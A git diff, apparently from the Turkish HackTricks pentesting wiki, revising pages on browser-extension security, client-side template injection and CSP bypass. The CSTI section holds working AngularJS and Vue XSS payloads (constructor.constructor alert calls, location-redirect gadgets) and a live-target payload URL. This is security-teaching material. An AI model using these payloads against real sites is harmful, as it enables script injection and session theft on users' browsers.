> **`web_accessible_resources`** ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir.
 | 
			
		||||
>
 | 
			
		||||
> Ayrıca, yalnızca **`web_accessible_resources`** içinde belirtilen sayfaları iframelerde açabileceğinizi, ancak yeni bir sekmeden uzantının ID'sini bilerek herhangi bir sayfaya erişmenin mümkün olduğunu unutmayın. Bu nedenle, aynı parametreleri kötüye kullanan bir XSS bulunursa, sayfa **`web_accessible_resources`** içinde yapılandırılmamış olsa bile kötüye kullanılabilir.
 | 
			
		||||
> Ayrıca, yalnızca **`web_accessible_resources`** içinde belirtilen sayfaları iframe'ler içinde açabileceğinizi, ancak yeni bir sekmeden uzantının ID'sini bilerek herhangi bir sayfaya erişmenin mümkün olduğunu unutmayın. Bu nedenle, aynı parametreleri kötüye kullanan bir XSS bulunursa, sayfa **`web_accessible_resources`** içinde yapılandırılmamış olsa bile kötüye kullanılabilir.
 | 
			
		||||
 | 
			
		||||
### `externally_connectable`
 | 
			
		||||
 | 
			
		||||
@ -338,17 +338,17 @@ browext-clickjacking.md
 | 
			
		||||
Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** daha küçük olacağı anlamına gelir.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak.
 | 
			
		||||
> Eğer bir web sayfası **XSS veya ele geçirme** için savunmasız olarak **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak.
 | 
			
		||||
>
 | 
			
		||||
> Bu nedenle, bu **çok güçlü bir atlatmadır**.
 | 
			
		||||
>
 | 
			
		||||
> Dahası, eğer istemci kötü niyetli bir uzantı yüklerse, bu uzantının savunmasız uzantıyla iletişim kurmasına izin verilse bile, **izin verilen bir web sayfasında XSS verisi enjekte edebilir** veya **`WebRequest`** veya **`DeclarativeNetRequest`** API'lerini kullanarak hedef bir alandaki istekleri manipüle edebilir ve bir sayfanın **JavaScript dosyası** isteğini değiştirebilir. (Hedef sayfadaki CSP bu saldırıları engelleyebilir). Bu fikir [**bu yazıdan**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) gelmektedir.
 | 
			
		||||
> Dahası, eğer istemci kötü niyetli bir uzantı yüklerse, bu uzantının savunmasız uzantı ile iletişim kurmasına izin verilse bile, **izin verilen bir web sayfasında XSS verisi enjekte edebilir** veya **`WebRequest`** veya **`DeclarativeNetRequest`** API'lerini kötüye kullanarak hedef bir alandaki istekleri manipüle edebilir ve bir sayfanın **JavaScript dosyası** isteğini değiştirebilir. (Hedef sayfadaki CSP bu saldırıları engelleyebilir). Bu fikir [**bu yazıdan**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) gelmektedir.
 | 
			
		||||
 | 
			
		||||
## İletişim özeti
 | 
			
		||||
 | 
			
		||||
### Uzantı <--> Web Uygulaması
 | 
			
		||||
 | 
			
		||||
İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının da **bir Post Message göndererek web uygulamasıyla iletişim kurabileceğini** ve bu nedenle webin bunu beklemesi gerektiğini unutmayın veya sadece webin yeni bir script yüklemesini sağlayabilir.
 | 
			
		||||
İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** (bu nedenle webin bunu beklemesi gerektiğini) veya sadece webin yeni bir script yüklemesini sağlayabileceğini unutmayın.
 | 
			
		||||
 | 
			
		||||
### Uzantının içinde
 | 
			
		||||
 | 
			
		||||
@ -393,7 +393,7 @@ Belirli bir sekmede bulunan bir içerik betiğine arka plan betiğinden mesaj g
 | 
			
		||||
 | 
			
		||||
### İzin verilen `externally_connectable`'dan uzantıya
 | 
			
		||||
 | 
			
		||||
`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** aşağıdaki gibi istek gönderebilir:
 | 
			
		||||
`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** istek gönderebilir:
 | 
			
		||||
```javascript
 | 
			
		||||
chrome.runtime.sendMessage(extensionId, ...
 | 
			
		||||
```
 | 
			
		||||
@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ...
 | 
			
		||||
 | 
			
		||||
### Native Messaging
 | 
			
		||||
 | 
			
		||||
Arka plan betiklerinin sistem içindeki ikili dosyalarla iletişim kurması mümkündür; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Daha fazlası için daha sonra](#native-messaging).
 | 
			
		||||
Arka plan betikleri, sistem içindeki ikili dosyalarla iletişim kurabilir; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Bununla ilgili daha fazla bilgi](#native-messaging).
 | 
			
		||||
```javascript
 | 
			
		||||
chrome.runtime.sendNativeMessage(
 | 
			
		||||
"com.my_company.my_application",
 | 
			
		||||
@ -476,7 +476,7 @@ browext-xss-example.md
 | 
			
		||||
 | 
			
		||||
Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** ondan bazı bilgileri okuyorsa, **web DOM'una güvenerek**, web bu veriyi **değiştirebilir** (çünkü web'e güvenilmemelidir veya web XSS'e karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**.
 | 
			
		||||
 | 
			
		||||
Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı XSS** örneğini burada bulabilirsiniz:
 | 
			
		||||
Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı bir XSS örneğini** burada bulabilirsiniz:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
browext-xss-example.md
 | 
			
		||||
@ -525,11 +525,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 | 
			
		||||
 | 
			
		||||
Önemli bir husus, birden fazla sayfanın `onMessage` olaylarını alacak şekilde ayarlandığı senaryolarda, **belirli bir olay için `sendResponse()`'yi yürüten ilk sayfa** yanıtı etkili bir şekilde iletebilecek tek sayfa olacaktır. Aynı olaya yönelik sonraki yanıtlar dikkate alınmayacaktır.
 | 
			
		||||
 | 
			
		||||
Yeni uzantılar oluştururken, geri çağrılar yerine vaatlerin tercih edilmesi gerekmektedir. Geri çağrıların kullanımıyla ilgili olarak, `sendResponse()` fonksiyonu yalnızca senkron bağlamda doğrudan yürütüldüğünde veya olay işleyicisi asenkron bir işlemi `true` döndürerek belirttiğinde geçerli kabul edilir. Hiçbir işleyici `true` döndürmezse veya `sendResponse()` fonksiyonu bellekten kaldırılırsa (çöp toplayıcı tarafından), `sendMessage()` fonksiyonuna bağlı geri çağrı varsayılan olarak tetiklenecektir.
 | 
			
		||||
Yeni uzantılar oluştururken, geri çağırmalar yerine sözleşmelere yönelmek tercih edilmelidir. Geri çağırmaların kullanımıyla ilgili olarak, `sendResponse()` fonksiyonu yalnızca senkron bağlamda doğrudan yürütüldüğünde veya olay işleyicisi asenkron bir işlemi `true` döndürerek belirttiğinde geçerli kabul edilir. Hiçbir işleyici `true` döndürmezse veya `sendResponse()` fonksiyonu bellekten kaldırılırsa (çöp toplayıcı tarafından), `sendMessage()` fonksiyonuna bağlı geri çağırma varsayılan olarak tetiklenecektir.
 | 
			
		||||
 | 
			
		||||
## Native Messaging
 | 
			
		||||
 | 
			
		||||
Tarayıcı uzantıları ayrıca **sistemdeki ikili dosyalarla stdin üzerinden iletişim kurmaya** da olanak tanır. Uygulama, bunu belirten bir json'u json formatında yüklemelidir:
 | 
			
		||||
Tarayıcı uzantıları, **sistemdeki ikili dosyalarla stdin üzerinden iletişim kurmaya** da olanak tanır. Uygulama, bunu belirten bir json yüklemelidir:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"name": "com.my_company.my_application",
 | 
			
		||||
@ -541,12 +541,12 @@ Tarayıcı uzantıları ayrıca **sistemdeki ikili dosyalarla stdin üzerinden i
 | 
			
		||||
```
 | 
			
		||||
`name` değişkeni, tarayıcı uzantısının arka plan betiklerinden uygulama ile iletişim kurmak için [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) metoduna geçirilen dizedir. `path`, ikili dosyanın yoludur, yalnızca 1 geçerli `type` vardır, o da stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilecek uzantıları belirtir (wildcard olamaz).
 | 
			
		||||
 | 
			
		||||
Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yollarda arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bağlantısına bakın).
 | 
			
		||||
Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yolları arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bakın).
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Tarayıcı uzantısının bu iletişimi kullanabilmesi için `nativeMessaing` izninin de tanımlanması gerekir.
 | 
			
		||||
 | 
			
		||||
İşte bir arka plan betiği kodunun, bir yerel uygulamaya mesaj göndermesi şöyle görünür:
 | 
			
		||||
İşte bazı arka plan betiği kodunun yerel bir uygulamaya mesaj göndermesi şöyle görünür:
 | 
			
		||||
```javascript
 | 
			
		||||
chrome.runtime.sendNativeMessage(
 | 
			
		||||
"com.my_company.my_application",
 | 
			
		||||
@ -573,7 +573,7 @@ Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemel
 | 
			
		||||
 | 
			
		||||
Elbette, **hassas bilgileri kodda bulundurmayın**, çünkü bu **kamusal** olacaktır.
 | 
			
		||||
 | 
			
		||||
Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve hassas bilgileri bulmak için anlık görüntü içinde **`CTRL+F`** ile arama yapın.
 | 
			
		||||
Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve hassas bilgileri bulmak için **`CTRL+F`** ile anlık görüntü içinde arama yapın.
 | 
			
		||||
 | 
			
		||||
Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir.
 | 
			
		||||
 | 
			
		||||
@ -581,9 +581,9 @@ Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin **
 | 
			
		||||
 | 
			
		||||
1. **Tarayıcı Uzantısını İndirin** ve açın
 | 
			
		||||
2. **`chrome://extensions/`** adresine gidin ve `Geliştirici Modu`nu **etkinleştirin**
 | 
			
		||||
3. **`Load unpacked`** butonuna tıklayın
 | 
			
		||||
3. **`Yüklenmemiş`** butonuna tıklayın
 | 
			
		||||
 | 
			
		||||
**Firefox'ta** **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Load Temporary Add-on`** butonuna tıklayın.
 | 
			
		||||
**Firefox'ta** **`about:debugging#/runtime/this-firefox`** adresine gidin ve **`Geçici Eklenti Yükle`** butonuna tıklayın.
 | 
			
		||||
 | 
			
		||||
## Mağazadan kaynak kodunu alma
 | 
			
		||||
 | 
			
		||||
@ -616,22 +616,22 @@ Yerel olarak yüklenmiş Chrome uzantıları da incelenebilir. İşte nasıl:
 | 
			
		||||
2. Profil dizinindeki `Extensions/` alt klasörüne gidin.
 | 
			
		||||
3. Bu klasör, genellikle okunabilir formatta kaynak kodlarıyla birlikte tüm yüklenmiş uzantıları içerir.
 | 
			
		||||
 | 
			
		||||
Uzantıları tanımlamak için, kimliklerini isimlerle eşleştirebilirsiniz:
 | 
			
		||||
Uzantıları tanımlamak için, kimliklerini isimlere eşleyebilirsiniz:
 | 
			
		||||
 | 
			
		||||
- Her uzantının kimliklerini görmek için `about:extensions` sayfasında Geliştirici Modu'nu etkinleştirin.
 | 
			
		||||
- Her uzantının klasöründe, `manifest.json` dosyası okunabilir bir `name` alanı içerir, bu da uzantıyı tanımlamanıza yardımcı olur.
 | 
			
		||||
 | 
			
		||||
### Bir Dosya Arşivleyici veya Açıcı kullanın
 | 
			
		||||
### Bir Dosya Arşivleyici veya Açıcı Kullanın
 | 
			
		||||
 | 
			
		||||
Chrome Web Store'a gidin ve uzantıyı indirin. Dosya `.crx` uzantısına sahip olacaktır. Dosya uzantısını `.crx`'den `.zip`'e değiştirin. ZIP dosyasının içeriğini çıkarmak için herhangi bir dosya arşivleyici (WinRAR, 7-Zip vb.) kullanın.
 | 
			
		||||
 | 
			
		||||
### Chrome'da Geliştirici Modunu kullanın
 | 
			
		||||
### Chrome'da Geliştirici Modunu Kullanın
 | 
			
		||||
 | 
			
		||||
Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modu"nu etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır.
 | 
			
		||||
Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modunu" etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır.
 | 
			
		||||
 | 
			
		||||
## Chrome uzantı manifest veri seti
 | 
			
		||||
 | 
			
		||||
Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaing` iznine sahip uzantıları kontrol etmek için:
 | 
			
		||||
Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) adresini kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaing` iznine sahip uzantıları kontrol etmek için:
 | 
			
		||||
```bash
 | 
			
		||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 | 
			
		||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 | 
			
		||||
@ -648,13 +648,13 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da,
 | 
			
		||||
- [ ] **`web_accessible_resources`**'ı mümkün olduğunca **sınırlayın**, mümkünse boş bırakın.
 | 
			
		||||
- [ ] Eğer **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin
 | 
			
		||||
- [ ] Eğer herhangi bir **iletişim** uzantıdan **web sayfasına** oluyorsa, iletişimde oluşan [**XSS**](browext-xss-example.md) **zayıflıklarını** kontrol edin.
 | 
			
		||||
- [ ] Eğer Post Mesajları kullanılıyorsa, [**Post Mesajı zayıflıkları**](../postmessage-vulnerabilities/)** için kontrol edin.**
 | 
			
		||||
- [ ] Eğer **Content Script DOM detaylarına erişiyorsa**, web tarafından **değiştirilirse** bir XSS **girişine neden olmadıklarını** kontrol edin
 | 
			
		||||
- [ ] Eğer Post Mesajları kullanılıyorsa, [**Post Message zayıflıkları**](../postmessage-vulnerabilities/index.html)** için kontrol edin.**
 | 
			
		||||
- [ ] Eğer **Content Script DOM detaylarına erişiyorsa**, web tarafından **değiştirilirse XSS** **girişine neden olmadıklarını** kontrol edin
 | 
			
		||||
- [ ] Bu iletişimin **Content Script -> Arka plan betiği iletişimi** ile de ilgili olduğuna özel bir vurgu yapın
 | 
			
		||||
- [ ] Eğer arka plan betiği **native messaging** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temizlendiğini kontrol edin
 | 
			
		||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde **saklanmamalıdır**
 | 
			
		||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde **saklanmamalıdır**
 | 
			
		||||
- [ ] **Hassas bilgiler** **dosya sisteminde korunmasız** olarak **saklanmamalıdır**
 | 
			
		||||
- [ ] Eğer arka plan betiği **native messaging** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temiz olduğundan emin olun
 | 
			
		||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde saklanmamalıdır
 | 
			
		||||
- [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde saklanmamalıdır
 | 
			
		||||
- [ ] **Hassas bilgiler** **dosya sisteminde korumasız** saklanmamalıdır
 | 
			
		||||
 | 
			
		||||
## Tarayıcı Uzantısı Riskleri
 | 
			
		||||
 | 
			
		||||
@ -678,14 +678,14 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da,
 | 
			
		||||
- Uyarılan dosyanın yolu.
 | 
			
		||||
- Uyarılan dosyanın tam Chrome uzantısı URI'si.
 | 
			
		||||
- Dosyanın türü, örneğin Arka Plan Sayfası betiği, İçerik Betiği, Tarayıcı Eylemi vb.
 | 
			
		||||
- Eğer zayıf satır bir JavaScript dosyasındaysa, dahil edildiği tüm sayfaların yolları ile birlikte bu sayfaların türü ve [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) durumu.
 | 
			
		||||
- **İçerik Güvenlik Politikası (CSP) analizörü ve atlatma kontrolörü**: Bu, uzantınızın CSP'sindeki zayıflıkları belirtecek ve beyaz listeye alınmış CDN'ler gibi CSP'nizi atlatmanın potansiyel yollarını aydınlatacaktır.
 | 
			
		||||
- Eğer zayıf satır bir JavaScript dosyasındaysa, dahil edildiği tüm sayfaların yolları ile bu sayfaların türü ve [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) durumu.
 | 
			
		||||
- **İçerik Güvenlik Politikası (CSP) analizörü ve atlatma kontrolörü**: Bu, uzantınızın CSP'sindeki zayıflıkları belirtecek ve beyaz listeye alınmış CDN'ler vb. nedeniyle CSP'nizi atlatmanın potansiyel yollarını aydınlatacaktır.
 | 
			
		||||
- **Bilinen Zayıf Kütüphaneler**: Bu, bilinen zayıf JavaScript kütüphanelerinin herhangi bir kullanımını kontrol etmek için [Retire.js](https://retirejs.github.io/retire.js/) kullanır.
 | 
			
		||||
- Uzantıyı ve biçimlendirilmiş versiyonlarını indirin.
 | 
			
		||||
- Orijinal uzantıyı indirin.
 | 
			
		||||
- Uzantının güzelleştirilmiş bir versiyonunu indirin (otomatik olarak düzenlenmiş HTML ve JavaScript).
 | 
			
		||||
- Tarama sonuçlarının otomatik önbelleğe alınması, bir uzantı taraması çalıştırmak ilk kez çalıştırdığınızda iyi bir zaman alacaktır. Ancak ikinci kez, uzantı güncellenmemişse, sonuçların önbelleğe alınması nedeniyle neredeyse anında olacaktır.
 | 
			
		||||
- Bağlantı verilebilir Rapor URL'leri, başkalarına tarnish tarafından üretilen bir uzantı raporuna kolayca bağlantı vermenizi sağlar.
 | 
			
		||||
- Bağlantılı Rapor URL'leri, başkalarına tarnish tarafından üretilen bir uzantı raporuna kolayca bağlantı vermek için.
 | 
			
		||||
 | 
			
		||||
### [Neto](https://github.com/elevenpaths/neto)
 | 
			
		||||
 | 
			
		||||
@ -693,7 +693,7 @@ Neto Projesi, Firefox ve Chrome gibi tanınmış tarayıcılar için tarayıcı
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- **Bu metodoloji için yardımları için** [**@naivenom**](https://twitter.com/naivenom)'a **teşekkürler**
 | 
			
		||||
- **Bu metodoloji için yardımları için** [**@naivenom**](https://twitter.com/naivenom)'a teşekkürler
 | 
			
		||||
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
 | 
			
		||||
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
 | 
			
		||||
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
 | 
			
		||||
 | 
			
		||||
@ -4,9 +4,9 @@
 | 
			
		||||
 | 
			
		||||
## Özet
 | 
			
		||||
 | 
			
		||||
Bu, **Server Side Template Injection** ile benzerlik gösterir ancak **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
 | 
			
		||||
Bu, **Sunucu Tarafı Şablon Enjeksiyonu** ([**Server Side Template Injection**](ssti-server-side-template-injection/index.html)) gibidir, ancak **istemci** tarafında. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
 | 
			
		||||
 | 
			
		||||
Bu zafiyeti **test etmek**, **SSTI** durumundaki gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **zayıfsa** `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz.
 | 
			
		||||
Bu güvenlik açığını **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **açık** ise `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz.
 | 
			
		||||
 | 
			
		||||
## AngularJS
 | 
			
		||||
 | 
			
		||||
@ -21,13 +21,13 @@ Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak
 | 
			
		||||
<!-- Google Research - AngularJS -->
 | 
			
		||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 | 
			
		||||
```
 | 
			
		||||
Çatışmanın çok **temel çevrimiçi örneğini** **AngularJS**'de [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz.
 | 
			
		||||
Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
 | 
			
		||||
> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `<input ng-focus=$event.view.alert('XSS')>` gibi bir yük çalışmalıdır.
 | 
			
		||||
 | 
			
		||||
## VueJS
 | 
			
		||||
 | 
			
		||||
**Zayıf bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh/) adresinde bulabilirsiniz.\
 | 
			
		||||
**Zayıf bir Vue** uygulamasını [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) adresinde bulabilirsiniz.\
 | 
			
		||||
Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
 | 
			
		||||
 | 
			
		||||
Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
 | 
			
		||||
@ -35,7 +35,7 @@ Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-s
 | 
			
		||||
<!-- Google Research - Vue.js-->
 | 
			
		||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
 | 
			
		||||
```
 | 
			
		||||
VUE'deki CSTI hakkında gerçekten iyi bir yazı [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) adresinde bulunabilir.
 | 
			
		||||
CSTI ile ilgili gerçekten iyi bir yazı VUE'de [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) bulunabilir.
 | 
			
		||||
 | 
			
		||||
### **V3**
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
@ -1,10 +1,10 @@
 | 
			
		||||
# İçerik Güvenlik Politikası (CSP) Bypass
 | 
			
		||||
# İçerik Güvenlik Politikası (CSP) Atlatma
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## CSP Nedir
 | 
			
		||||
 | 
			
		||||
İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir.
 | 
			
		||||
İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.
 | 
			
		||||
 | 
			
		||||
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
 | 
			
		||||
 | 
			
		||||
@ -43,7 +43,7 @@ object-src 'none';
 | 
			
		||||
- **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.
 | 
			
		||||
- **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.
 | 
			
		||||
- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
 | 
			
		||||
- **frame-src**: Çerçeveler için URL'leri kısıtlar.
 | 
			
		||||
- **frame-src**: çerçeveler için URL'leri kısıtlar.
 | 
			
		||||
- **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır.
 | 
			
		||||
- **img-src**: Resimler için izin verilen kaynakları tanımlar.
 | 
			
		||||
- **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
 | 
			
		||||
@ -74,7 +74,7 @@ object-src 'none';
 | 
			
		||||
 | 
			
		||||
<details>
 | 
			
		||||
